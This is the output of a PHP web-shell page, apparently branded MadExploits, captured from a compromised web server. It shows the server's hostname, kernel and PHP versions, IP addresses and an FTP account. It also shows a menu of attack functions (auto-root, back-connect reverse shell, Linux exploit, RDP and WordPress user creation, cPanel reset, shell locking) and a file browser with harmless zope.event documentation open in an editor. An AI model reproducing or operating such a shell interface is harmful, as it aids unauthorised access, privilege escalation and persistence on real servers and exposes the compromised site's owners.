Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python3-zope-event /
html /
_sources /
[ HOME SHELL ]
Name
Size
Permission
Action
api.rst.txt
238
B
-rw-r--r--
api.txt
238
B
-rw-r--r--
classhandler.rst.txt
1.07
KB
-rw-r--r--
classhandler.txt
1.07
KB
-rw-r--r--
hacking.rst.txt
8.35
KB
-rw-r--r--
hacking.txt
8.35
KB
-rw-r--r--
index.rst.txt
624
B
-rw-r--r--
index.txt
624
B
-rw-r--r--
theory.rst.txt
493
B
-rw-r--r--
theory.txt
493
B
-rw-r--r--
usage.rst.txt
1.77
KB
-rw-r--r--
usage.txt
1.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : classhandler.rst.txt
Class-based event handlers ========================== A light-weight event-handler framework based on event classes is provided by the ``zope.event.classhandler`` module. Handlers are registered for event classes: >>> import zope.event.classhandler >>> class MyEvent(object): ... def __repr__(self): ... return self.__class__.__name__ >>> def handler1(event): ... print("handler1 %r" % event) >>> zope.event.classhandler.handler(MyEvent, handler1) Descriptor syntax: >>> @zope.event.classhandler.handler(MyEvent) ... def handler2(event): ... print("handler2 %r" % event) >>> class MySubEvent(MyEvent): ... pass >>> @zope.event.classhandler.handler(MySubEvent) ... def handler3(event): ... print("handler3 %r" % event) Subscribers are called in class method-resolution order, so only new-style event classes are supported, and then by order of registry. >>> import zope.event >>> zope.event.notify(MySubEvent()) handler3 MySubEvent handler1 MySubEvent handler2 MySubEvent
Close